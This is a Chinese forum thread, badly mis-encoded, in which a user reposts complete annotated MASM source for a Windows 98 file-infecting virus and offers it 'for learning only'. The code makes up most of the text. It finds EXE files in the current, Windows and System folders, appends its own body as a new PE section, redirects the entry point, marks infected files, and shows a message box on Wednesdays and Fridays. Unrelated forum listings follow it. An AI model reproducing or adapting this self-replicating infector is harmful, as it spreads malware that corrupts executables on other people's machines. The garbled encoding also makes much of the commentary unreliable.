Znn3bq.jpeg
²é¿´: 408  |  »Ø¸´: 1
µ±Ç°Ö÷ÌâÒѾ­´æµµ¡£

sdlj8051

½ð³æ (ÖøÃûдÊÖ)

[½»Á÷] Ò»¸ö»ùÓÚ98Ïµģ¬¾ßÓв¡¶¾ÌØÐԵijÌÐò¡£[תÌù]

Ò»Ð©ÍøÓѸøÎÒдÐÅ£¬Ëµ´úÂë¿´²»¶®»ò×ÜÊDZàÒë²»¹ýÈ¥¡£
Òò´ËÎÒÓÖ½«´úÂë¼ÓÁËÏêϸµÄ½âÊÍ£¬¼¸ºõÊÇÒ»¾äÒ»¸ö½âÊÍ¡£
µ«ÊÇÓйصĴúÂ벢ûÓÐÆÁ±Î£¬Çë´ó¼Òµ÷ÊÔʱһ¶¨Ð¡ÐÄ¡£|
Õâ¸öС²¡¶¾¸ÐȾµ±Ç°Ä¿Â¼¡¢WindowsĿ¼¡¢SystemĿ¼µÄEXEÎļþ
Ö»Òª½«´ËÈý¸öĿ¼µÄEXEÎļþ±¸·ÝºÃ£¨ÔÚ´¿DOSÏ¿ÉÒÔ»Ö¸´£©µ÷ÊÔʱ¾ÍËã
¸ÐȾÁ˲¡¶¾Ò²Ó¦¸ÃûÎÊÌâµÄ¡£
Ï£Íû´ó¼Ò»¹ÊÇ¿´¶®´úÂëÔÙ½øÐе÷ÊÔ¡£
´Ë´úÂë¿ÉÒÔ±àÒëͨ¹ý¡£
--------------------------------------------------------------
Ò»¸ö»ùÓÚ98Ïµģ¬¾ßÓв¡¶¾ÌØÐԵijÌÐò¡£
²¡¶¾±¾À´¾ÍÊÇÒ»¸ö¼¼ÊõÐÔÂù¸ßµÄ³ÌÐò£¬µ«ÊÇÒòΪËû³£³£·¸´í£¬¸øÈ˸оõÓÖÉñÃØÓÖ¿Ö²À¡£
ÄܹýÕâ¶Î´úÂ룬Äã¿ÉÒÔ¸üÉî¸ÃµÄÁ˽âÀàËÆµÄ³ÌÐò¡£
ÖªµÀËû²¢²»¿ÉÅ£¬Ö»ÊDZ»Ò»Ð©ÈËÒªµ½Á˲»Õýµ±µÄµØ·½¡£
ÆäʵÓÐЩ³ÌÐòÀûÓò¡¶¾¼¼ÊõÀ´×ö¡£»¹ÊǷdz£ºÃµÄ(ÓÐЩ°²È«·½ÃæµÄ³ÌÐò¾ÍÊÇÀûÓÃÕâÒ»¼¼Êõ)
±¾³ÌÐò½ö¹©Ñ§Ï°Ê¹Óã¬ÈôÓõ½²»Õýµ±µØ·½£¬±¾È˸Ų»¸ºÔð£¡
¸Ð̾Ïëµ±ÄêÈç¹ûÓÐÀàËÆµÄÔ´´úÂ룬ÎÒÒ²²»»á×ßһЩ²»¸Ã×ßµÄÍä·¡£
ÔĶÁǰÌ᣺ÁËÀíPEÎļþ½á¹¹¡£

;=========================================< ±ò >==
;Ãû ³Æ: vBinLin²¡¶¾
¡¡¡¡¡¡; AngelSoft WorkGroup
;Óï ÑÔ: MASM Win98
;ÈÕ ÆÚ: 2001Äê8ÔÂ24ÈÕ
;====================================================
;³ö ´¦: http://www.vbin.org
;±¸ ×¢: ÓйشúÂëδÆÁ±Î£¡Çë×¢Ò⣡ÈôûÍêÈ«Ã÷°×ÇëÎóµ÷ÊÔ
¡¡¡¡¡¡; ²¡¶¾±¾ÊÇÒ»Öָ߼¶±à³Ì¼¼Êõ£¬±¾´úÂëÖ»¹©Ñ§Ï°Ê¹ÓÃ
¡¡¡¡¡¡; £¬ÈôÓõ½ÆäËüÓÃ;±¾È˸Ų»¸ºÔð£¡
;×¢ Òâ: ÈçÐè×ªÔØ,Çë±£Áô´ËÎļþµÄÍêÕûÔ£¡£¡£¡£¡£?
;===================================================
.386
.model flat,stdcall
  option casemap:none
  include \masm32\include\windows.inc
  include \masm32\include\kernel32.inc
  include \masm32\include\comctl32.inc
  include \masm32\include\user32.inc
  include \masm32\include\gdi32.inc
  include \masm32\include\comdlg32.inc

  includelib \masm32\lib\gdi32.lib
  includelib \masm32\lib\kernel32.lib
  includelib \masm32\lib\comctl32.lib
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\comdlg32.lib
;ÕâÊÇһЩÏà¹ØµÄ¶¨Ò壬Æäʵ³ÌÐòÖиù±¾¾ÍûÓõ½
;Ö»ÊÇÎÒϰ¹ß£¬Ò»¹ÉÄÔµÄÈ«°áÉÏÀ´À²
;------------------------------------(ÉÏÃæµÄ)--

.data
  mcaption db "ÄãºÃÅóÓÑ!",0
  mtitle   db "*±êÌâ*",0
; Ö÷³ÌÐòËùÓõ½µÄһЩ±äÁ¿
;------------------------------------(ÉÏÃæµÄ)--

.code
host_start:
    invoke MessageBox,NULL,offset mcaption,offset mtitle,64
    invoke ExitProcess,0
;Ö÷³ÌÐò´úÂ룬ֻÊǼòµ¥µÄ´òÒ»´®×Ö·û¶øÒÑ¡£
;²¡¶¾´úÂëÔËÐÐÍêºó£¬¾Í»áÌøµ½´Ë´¦Ö´ÐС£
;------------------------------------(ÉÏÃæµÄ)--

BadDay SEGMENT PARA USE32 'BadDay'
    assume cs:BadDay,ds:BadDay
vstart:
    push ebp
    push esp
    call nstart
nstart:   
;;;;;;;;;;;;;
    pop ebp
    sub ebp,offset nstart
;²¡¶¾Öг£ÓõÄÒ»ÖÖ·½·¨¡£µÃµ½Ò»¸öÆ«ÒÆ²î¡£
;³ÌÐòºóÃæÓõ½µÄËùÓбäÁ¿¶¼ÐèÒª¼ÓÉϸöÕâÆ«ÒÆ²î
;------------------------------------(ÉÏÃæµÄ)--

;=========================
; *  ¸ü¸Ä³ÌÐòÈë¿ÚµØÖ·  *
    cmp now_basein[ebp],0
    jnz gonext
    mov now_basein[ebp],401000h
  gonext:
    cmp des_basein[ebp],0
    jnz change
    mov des_basein[ebp],401000h
  change:
    mov eax,now_basein[ebp]
    push des_basein[ebp]
    pop  now_basein[ebp]
    mov des_basein[ebp],eax
;±äÁ¿¶¨ÒåµÄµÄÒâ˼¼ûºó·½
;³ÌÐò¿ªÊ¼Ö´ÐÐʱ£¬µ±Ç°³ÌÐòµÄÔ­Èë¿ÚµØÖ·»á·Åµ½des_baseinÖÐ
;ÓÉÓÚ³ÌÐòÖÐdes_baseinÓбðµÄÓÃ;£¬Òò´Ë½«´ËµØÖ·´æ·Åµ½
;now_basein£¬ÒÔ±ã×îºóÌø»ØÔ­³ÌÐòÈë¿Ú¡£
;------------------------------------(ÉÏÃæµÄ)--

;-------------------------
;Ŀ¼µÄ¿ªÍ·²¿·Ý
    lea eax,NowPath[ebp]
    push eax
    mov eax,256
    push eax
    call vGetCurrentDirectory
;ͨ¹ýAPIº¯ÊýµÃµ½µ±Ç°³ÌÐòËùÔÚĿ¼
;------------------------------------(ÉÏÃæµÄ)--

    lea eax,NowPath[ebp]
    push eax
    lea eax,SrcDir[ebp]
    push eax
    call vlstrcpy
;±£´æµ±Ç°Ä¿Â¼
;------------------------------------(ÉÏÃæµÄ)--

    mov NowPathNo[ebp],1
FindStartT:
    cmp NowPathNo[ebp],1
    jz GFindFt
    cmp NowPathNo[ebp],2
    jz GetWinD
    cmp NowPathNo[ebp],3
    jz GetSysD
    jmp AllFindEnd   
;¸ù¾ÝNowPathNorÖµÀ´ÅжϸÐȾÄĸöĿ¼µÄÎļþ
;------------------------------------(ÉÏÃæµÄ)--

  GetWinD:  

    mov eax,256
    push eax
    lea eax,NowPath[ebp]
    push eax
    call vGetWindowsDirectory

    lea eax,NowPath[ebp]
    push eax
    call vSetCurrentDirectory
    jmp GFindFt
;µÃµ½WINDOWSËùÔÚĿ¼£¬²¢ÇÒ½«ÆäÉèΪµ±Ç°Ä¿Â¼
;------------------------------------(ÉÏÃæµÄ)--

  GetSysD:

    mov eax,256
    push eax
    lea eax,NowPath[ebp]
    push eax
    call vGetSystemDirectory

    lea eax,NowPath[ebp]
    push eax
    call vSetCurrentDirectory
;µÃµ½SYSTEMËùÔÚĿ¼£¬²¢ÇÒ½«ÆäÉèΪµ±Ç°Ä¿Â¼
;------------------------------------(ÉÏÃæµÄ)--

  GFindFt:
    lea eax,FindData[ebp]
    push eax
    lea eax,FileFilter[ebp]
    push eax
    call vFindFirstFile
    cmp eax,INVALID_HANDLE_value
    jz FindEnds
    mov hFind[ebp],eax
;²éÕÒµ±Ç°Ä¿Â¼ÏµĵÚÒ»¸öEXEÎļþ
;------------------------------------(ÉÏÃæµÄ)--

  GoOnFind:   
;ÒÔÏÂÊDz¡¶¾´«È¾²¿·Ý
;-------------------------
    push 0
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push 0
    push FILE_SHARE_READ+FILE_SHARE_WRITE
    push GENERIC_READ+GENERIC_WRITE
    lea eax,FindData[ebp].cFileName
    push eax
    call vCreateFile
;´ò¿ªÎļþ
;------------------------------------(ÉÏÃæµÄ)--

    cmp eax,INVALID_HANDLE_value
    jz createfail

        mov hFile[ebp],eax
    push FILE_BEGIN
    push 0
    push 3ch
    push hFile[ebp]
    call vSetFilePointer
;½«ÎļþÖ¸ÕëÖ¸µ½3CH´¦£¨¼ûÇ°ÃæµÄ½²µÄ£©
;------------------------------------(ÉÏÃæµÄ)--

        push 0
    lea eax,byte_read[ebp]
    push eax
    push 4
    lea eax,PE_head_addr[ebp]
    push eax
    push hFile[ebp]
        call vReadFile
;µÃµ½PEÍ·Æ«ÒÆµØÖ·
;------------------------------------(ÉÏÃæµÄ)--
        
    cmp eax,0
        jz readfail
          push FILE_BEGIN
          push 0
          push PE_head_addr[ebp]
          push hFile[ebp]
          call vSetFilePointer
;Ö¸ÎļþÖ¸Õ붨λµ½PEÍ·´¦
;------------------------------------(ÉÏÃæµÄ)--
              
          mov Head_len[ebp],sizeof PE_head+sizeof Section_table
              
              push 0
              lea eax,byte_read[ebp]
          push eax
          push Head_len[ebp]
          lea eax,PE_head[ebp]
          push eax
          push hFile[ebp]
          call vReadFile
;´ÓPEÍ·´¦¿ªÊ¼¶Á£¬×îËù¶ÁÊý¾Ý´æ·ÅÔÚ»º³åÇøÖÐ
;------------------------------------(ÉÏÃæµÄ)--

          cmp dword ptr PE_head[ebp].Signature,IMAGE_NT_SIGNATURE
          jnz exitwrite
;¼ì²éÊÇ·ñÊÇPEÎļþ£¬²»ÊǾÍÌø³ö
;------------------------------------(ÉÏÃæµÄ)--

              cmp word ptr PE_head[ebp+1ah],0842h            
          jz exitwrite
;ÈôÒѸÐȾ¹ýÒ²Ìø
;------------------------------------(ÉÏÃæµÄ)--

         Noinfect:
              ;±£´æÓë³ÌÐòÈë¿ÚÏà¹ØµÄRVA
          push PE_head[ebp].OptionalHeader.AddressOfEntryPoint
              pop des_in[ebp]
              push PE_head[ebp].OptionalHeader.ImageBase
              pop des_base[ebp]
          mov eax,des_in[ebp]
          add eax,des_base[ebp]
          mov des_basein[ebp],eax              
;±£´æ½«Òª¸ÐȾµÄ³ÌÐòµÄÈë¿ÚRVAºÍĬÈÏ×°ÈëÄÚ´æµÄµØÖ·
;------------------------------------(ÉÏÃæµÄ)--
              

          movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeader
          add eax,18h
          mov Section_addr[ebp],eax
;µÃµ½µÚÒ»¸ö½ÚµÄµØÖ·
;------------------------------------(ÉÏÃæµÄ)--
              
              mov checker_len[ebp],offset vend-offset vstart
;µÃµ½²¡¶¾´úÂëµÄ³¤¶È
;------------------------------------(ÉÏÃæµÄ)--

              movzx eax,PE_head[ebp].FileHeader.NumberOfSections
          inc eax
          mov ecx,28h
          mul ecx
          add eax,Section_addr[ebp]
          add eax,PE_head_addr[ebp]
              cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders
;¼ì²âµ±Ç°ÎļþÍ·µÄÊ£Óà¿Õ¼ä¿É·ñÔÙ¼ÓÒ»¸ö½Ú¡£
;------------------------------------(ÉÏÃæµÄ)--

          ja exitwrite
                   lea esi,Section_table[ebp]
           movzx eax,PE_head[ebp].FileHeader.NumberOfSections
           mov ecx,28h
           mul ecx
           add esi,eax
           inc PE_head[ebp].FileHeader.NumberOfSections
                   lea edi,new_section[ebp]
           xchg edi,esi
;Ìî¼ÓÒ»¸ö½Ú
;------------------------------------(ÉÏÃæµÄ)--

           mov eax,[edi-28h+8]
           add eax,[edi-28h+0ch]
                   mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
           div ecx
           inc eax
                   mul ecx
           mov new_section[ebp].virt_addr,eax
;½¨Á¢Ð¿飬²¢ÇÒ¿é¶ÔÆë£¬µÃµ½Ð¿éÈë¿ÚµØÖ·
;------------------------------------(ÉÏÃæµÄ)--
           
           mov eax,checker_len[ebp]
           mov ecx,PE_head[ebp].OptionalHeader.FileAlignment
           div ecx
           inc eax
           mul ecx
           mov new_section[ebp].raw_size,eax
;µÃ³öпéµÄÎïÀí´óС£¬°´Îļþ¶ÔÆë
;------------------------------------(ÉÏÃæµÄ)--                  

                   mov eax,checker_len[ebp]
           mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
           div ecx
           inc eax
           mul ecx
           mov new_section[ebp].virt_size,eax
;µÃ³öÐéÄâµØÖ·£¬°´¿é¶ÔÆë
;------------------------------------(ÉÏÃæµÄ)--

               
                   mov eax,[edi-28h+14h]
           add eax,[edi-28h+10h]
           mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
           div ecx
           inc eax
           mul ecx
           mov new_section[ebp].raw_offset,eax
;µÃµ½ÎļþÖÐµÄÆ«ÒÆ¡££¨°´Àí˵Ӧ¸ÃÊÇÎļþ×îÄ©£©
;------------------------------------(ÉÏÃæµÄ)--


                   mov eax,new_section[ebp].virt_size
           add eax,PE_head[ebp].OptionalHeader.SizeOfImage
           mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
           div ecx
           inc eax
           mul ecx
           mov PE_head[ebp].OptionalHeader.SizeOfImage,eax
;¸üÐÂÎļþ×ܳߴ硣¼´Ô­Îļþ³ß´ç¼ÓÉÏпéµÄÐéÄâ³ß´çÈ»ºó¶ÔÆë
;------------------------------------(ÉÏÃæµÄ)--

                   mov ecx,28h
           rep movsb
;Ìî¼ÓпéÄÚÈÝ
;------------------------------------(ÉÏÃæµÄ)--                  

           mov eax,new_section[ebp].virt_addr
           mov PE_head[ebp].OptionalHeader.AddressOfEntryPoint,eax
;¸ÄÈë¿ÚµØÖ·
;------------------------------------(ÉÏÃæµÄ)--
                  
           mov word ptr PE_head[ebp+1ah],0842h
;Ìî¼Ó¸ÐȾ±êÖ¾
;------------------------------------(ÉÏÃæµÄ)--
                  
                   push FILE_BEGIN
           push 0
           push PE_head_addr[ebp]
           push hFile[ebp]
           call vSetFilePointer
;µ÷Ö¸Õë
;------------------------------------(ÉÏÃæµÄ)--

                   push 0
           lea eax,byte_read[ebp]
           push eax
           push Head_len[ebp]
           lea eax,PE_head[ebp]
           push eax
           push hFile[ebp]
           call vWriteFile
;¸üÐÂÎļþÍ·
;------------------------------------(ÉÏÃæµÄ)--

                   push FILE_BEGIN
           push 0
           push new_section[ebp].raw_offset
           push hFile[ebp]
           call vSetFilePointer
;¸üÐÂÖ¸Õ루µ½Îļþ⣩
;------------------------------------(ÉÏÃæµÄ)--

           push 0
           lea eax,byte_read[ebp]
           push eax
           push new_section[ebp].raw_size
           lea eax,vstart[ebp]
           push eax
           push hFile[ebp]
           call vWriteFile
;д²¡¶¾´úÂë
;------------------------------------(ÉÏÃæµÄ)--
          exitwrite:

         readfail:
     push hFile[ebp]
     call vCloseHandle
;¹Ø±Õµ±Ç°Îļþ
;------------------------------------(ÉÏÃæµÄ)--
    createfail:
   
  
;--------------------------------
;Ŀ¼½áÎ²Çø
EndDir:
    lea eax,FindData[ebp]
    push eax
    push hFind[ebp]
    call vFindNextFile
    cmp eax,0
    jnz GoOnFind
;²éÕÒÏÂÒ»¸öÎļþ£¬È»ºó¼ÌÐø¸ÐȾ£¬Ö±µ½È«¸ÐȾȫΪֹ
;------------------------------------(ÉÏÃæµÄ)--
FindEnds:
    push hFind[ebp]
    call vFindClose
    inc NowPathNo[ebp]
    inc NowPathNo[ebp]    ;<< ¶à¼ÓÁ˼¸¸ö1
    inc NowPathNo[ebp]    ;<<
    inc NowPathNo[ebp]    ;<<
    jmp FindStartT
;ΪÁ˵÷ÊÔ·½±ã£¬ÔÚ´ËÖ»¸ÐȾµ±Ç°Ä¿Â¼
;------------------------------------(ÉÏÃæµÄ)--

AllFindEnd:
    lea eax,SrcDir[ebp]
    push eax
    call vSetCurrentDirectory

;»Ö¸´µ±Ç°Ä¿Â¼
;------------------------------------(ÉÏÃæµÄ)--

[ Last edited by »ÃÓ°ÎÞºÛ on 2006-10-17 at 10:15 ]
»Ø¸´´ËÂ¥

» ²ÂÄãϲ»¶

ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû

sdlj8051

½ð³æ (ÖøÃûдÊÖ)

;####[ ²¡¶¾·¢×÷Çø ]########################;      

    lea eax,NowTimes[ebp]
    push eax
    call vGetSystemTime
    cmp NowTimes[ebp].wDayOfWeek,0003h
    jz InTimes
    cmp NowTimes[ebp].wDayOfWeek,0005h
    jnz ExitTimes
;¸ù¾Ýʱ¼ä¾ö¶¨£¬Ã¿ÖÜÐÇÆÚÈýºÍÐÇÆÚÎå·¢×÷
;------------------------------------(ÉÏÃæµÄ)--

;--- ·¢×÷´úÂë -------------------
InTimes:
;--------------------------------
         push 0
         lea eax,MyTitle[ebp]
         push eax
         lea eax,MyTalk[ebp]
         push eax
         push 0
         call vMessageBox
;ÏÔʾһ¸öÌáʾ´°¿Ú
;------------------------------------(ÉÏÃæµÄ)--

ExitTimes:

;###########################################;
; »Ö¸´¼Ä´æÆ÷£¬Ìø»ØÔ­³ÌÐò´¦   
;------------------------------------------
         mov eax,now_basein[ebp]
         pop esp
         pop ebp
     push eax
;-------< ×öºÃ·µ»ØÔ­³ÌÐòµÄ×¼±¸ >-----------
;;;;;;;;;;;;;;

    ret     ;·µ»ØÖ÷³ÌÐò

;--------------------------
; º¯Êýµ÷ÓõØÖ·
;--------------------------
vCreatefile:
    mov jumpaddr[ebp],0BFF77B5BH
    jmp jumpaddr[ebp]

  vSetFilePointer:
    mov jumpaddr[ebp],0BFF771BBH
    jmp jumpaddr[ebp]
  
  vReadfile:
    mov jumpaddr[ebp],0BFF770B9H
    jmp jumpaddr[ebp]
  
  vWritefile:
    mov jumpaddr[ebp],0BFF77051H
    jmp jumpaddr[ebp]

  vCloseHandle:
    mov jumpaddr[ebp],0BFF7E2D9H
    jmp jumpaddr[ebp]

  vMessageBox:
    mov jumpaddr[ebp],0BFF541BAH
    jmp jumpaddr[ebp]

  vGetCurrentDirectory:
    mov jumpaddr[ebp],0BFF77A55H
    jmp jumpaddr[ebp]

  vGetWindowsDirectory:
    mov jumpaddr[ebp],0BFF779F8H
    jmp jumpaddr[ebp]

  vGetSystemDirectory:
    mov jumpaddr[ebp],0BFF779C2H
    jmp jumpaddr[ebp]
  
  vSetCurrentDirectory:
    mov jumpaddr[ebp],0BFF77A2EH
    jmp jumpaddr[ebp]

  vlstrcpy:
    mov jumpaddr[ebp],0BFF77378H
    jmp jumpaddr[ebp]

  vFindFirstfile:
    mov jumpaddr[ebp],0BFF77BD7H
    jmp jumpaddr[ebp]

  vFindNextfile:
    mov jumpaddr[ebp],0BFF77C0FH
    jmp jumpaddr[ebp]

  vFindClose:
    mov jumpaddr[ebp],0BFF76540H
    jmp jumpaddr[ebp]

  vGetSystemTime:
    mov jumpaddr[ebp],0BFFA1372H
    jmp jumpaddr[ebp]

  vExitWindowsEx:
    mov jumpaddr[ebp],0BFF5232CH
    jmp jumpaddr[ebp]

;   ÆäËüµÄÂÔ....


;²»Í¬µÄWINϵͳÕâÀïµÄµØÖ·ÊDz»Í¬µÄ¡£
;Òò´Ë˵Õâ¸ö²¡¶¾²¢²»ÊÇÿ¸öWINϵͳ¶¼»á´«È¾µÄ
;------------------------------------(ÉÏÃæµÄ)--  

    ALIGN 4
    jumpaddr            dd        0
    PE_head_addr        dd        0
    checker_len         dd        0


    MyTitle             db        "MyTitle",0
    MyTalk              db        "MyTalk",0


    PE_head             IMAGE_NT_HEADERS    <0>
    Section_table       db        280h dup (0)
    Head_len          dd        0;sizeof PE_head+sizeof Section_table     ; PEÎļþÍ·ºÍ¿é±íµÄ³¤¶È
   
    my_section     struc
    sec_name        db      2Eh,42h,61h,64h,44h,61h,79h,0                   ; ¿éÃû
    virt_size       dd      0               ; ¿é³¤
    virt_addr       dd      0               ; ¸Ã¿éRVAµØÖ·
    raw_size        dd      0               ; ¸Ã¿éÎïÀí³¤¶È
    raw_offset      dd      0               ; ¸Ã¿éÎïÀíÆ«ÒÆ
                    dd      0,0,0           ; δÓÃ
    sec_flags       dd      0E0000020h      ; ÊôÐÔ
    my_section    ends
    new_section    my_section <>


    secbuffer           db        512 dup (0)
    tempbuffer          db        128 dup (0)

    hFile               dd        0         
    des_in              dd        0
    des_base            dd        0
                        db        "SRCIN",0
    des_basein          dd        0
    now_basein          dd        0
    byte_read           dd        0
    Section_addr        dd        0
    vsize               dd        0
;Ïà¹ØµÄ±äÁ¿¶¨Òå
;------------------------------------(ÉÏÃæµÄ)--

;-----------------------------
; ²éÕÒÎļþרÓÃ
   
    FileFilter db "*.exe",0
    FindData   WIN32_FIND_DATA <>
    hFind      dd 0
    NowPath    db 256 dup (0)
    NowPathNo  db 0
    SrcDir     db 256 dup (0)
;-----------------------------
    NowTimes   SYSTEMTIME  <>
;-----------------------------


vend:
BadDay ends

end vstart
2Â¥2006-08-26 10:03:43
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû
Ïà¹Ø°æ¿éÌø×ª ÎÒÒª¶©ÔÄÂ¥Ö÷ sdlj8051 µÄÖ÷Ìâ¸üÐÂ
×î¾ßÈËÆøÈÈÌûÍÆ¼ö [²é¿´È«²¿] ×÷Õß »Ø/¿´ ×îºó·¢±í
[¿¼ÑÐ] 271Çóµ÷¼Á +23 2261744733 2026-04-11 26/1300 2026-04-13 09:59 by szhize
[¿¼ÑÐ] Ò»Ö¾Ô¸°²´óÉúÎïѧ07³õÊÔ322¡¢±¾¿Æ¶þ±¾¡¢µ÷¼ÁÇóÖú +10 Àî¶àÃ×lee. 2026-04-12 11/550 2026-04-12 22:58 by yuyin1233
[¿¼ÑÐ] 344 ²ÄÁÏרҵ Çóµ÷¼Á211 ÎÞµØÓòÒªÇó +8 hualkop 2026-04-11 8/400 2026-04-12 22:24 by fqwang
[¿¼ÑÐ] ¸´ÊÔµ÷¼Á +14 »ý¼«ÏòÉÏ£» 2026-04-10 16/800 2026-04-12 20:02 by gruyclewee
[¿¼ÑÐ] ҩѧÇóµ÷¼Á +3 RussHu 2026-04-12 4/200 2026-04-12 17:49 by ³ÂƤƤ
[¿¼ÑÐ] 295·ÖÇóµ÷¼Á +13 ?ÒªÉϰ¶? 2026-04-10 13/650 2026-04-12 15:37 by laoshidan
[¿¼ÑÐ] ±¾¿ÆÄÏ·½Ò½¿Æ´óѧ Ò»Ö¾Ô¸985 ҩѧѧ˶284·Ö Çóµ÷¼Á +5 ÈõË®ÌýÎÄ 2026-04-09 5/250 2026-04-12 13:16 by shengxi123
[¿¼ÑÐ] 267Çóµ÷¼Á +8 ÔÙæҲҪ³Ô·¹°¡ 2026-04-09 8/400 2026-04-11 21:42 by cfdbai
[¿¼ÑÐ] 085400 328·Ö Çóµ÷¼Á +10 ιÄãÒ»¸ö´ó³È×Ó 2026-04-09 14/700 2026-04-11 19:53 by lqspecial
[¿¼ÑÐ] 0854µ÷¼Á +8 950824he@ 2026-04-09 8/400 2026-04-11 10:11 by zhq0425
[¿¼ÑÐ] Ò»Ö¾Ô¸¾©Çø985£¬085401£¬Óë±¾¿Æ×¨ÒµÒ»Ö£¬µç×ÓÐÅÏ¢¹¤³Ì£¬ +4 Ñô¹â¿ªÀʵÄÄк¢ 2026-04-10 4/200 2026-04-10 18:27 by shenrf
[¿¼ÑÐ] 285Çóµ÷¼Á +9 AZMK 2026-04-07 11/550 2026-04-10 15:24 by AZMK
[¿¼ÑÐ] ¿¼Ñе÷¼Á-²ÄÁÏÀà-284 +28 Ïë»»ÊÖ»ú²»Ïë½âÊ 2026-04-08 28/1400 2026-04-09 20:08 by µ¹Êý321?
[¿¼ÑÐ] 296Çóµ÷¼Á +3 Íô£¡£¿£¡ 2026-04-08 3/150 2026-04-08 22:00 by zhouyuwinner
[¿¼ÑÐ] ²ÄÁÏ¿¼ÑÐÇóµ÷¼Á×Ü·Ö280 +30 mkjlz1 2026-04-06 35/1750 2026-04-08 21:25 by cyh¡ª315
[¿¼ÑÐ] Ò»Ö¾Ô¸»ª¶«Àí¹¤085601²ÄÁϹ¤³Ì303·ÖÇóµ÷¼Á +15 a1708 2026-04-06 15/750 2026-04-08 16:23 by luoyongfeng
[¿¼ÑÐ] 264Çóµ÷¼Á +11 ÂóС¶£µ± 2026-04-07 11/550 2026-04-08 16:05 by Ò»Ö»ºÃ¹û×Ó?
[¿¼ÑÐ] 275 Çóµ÷¼Á +8 Lei812514 2026-04-07 8/400 2026-04-08 12:46 by chemisry
[¿¼ÑÐ] 277Çóµ÷¼Á +4 ¿¼Ñе÷¼Álxh 2026-04-06 6/300 2026-04-08 10:40 by ÄæË®³Ë·ç
[¿¼ÑÐ] 22408 һ־Ը˫һÁ÷È˹¤ÖÇÄÜ300·Ö ËÄÁù¼¶£¬Êý¾Ý·ÖÎö¹ú½± +4 zzfeng123 2026-04-06 6/300 2026-04-07 21:02 by zzfeng123
ÐÅÏ¢Ìáʾ
ÇëÌî´¦ÀíÒâ¼û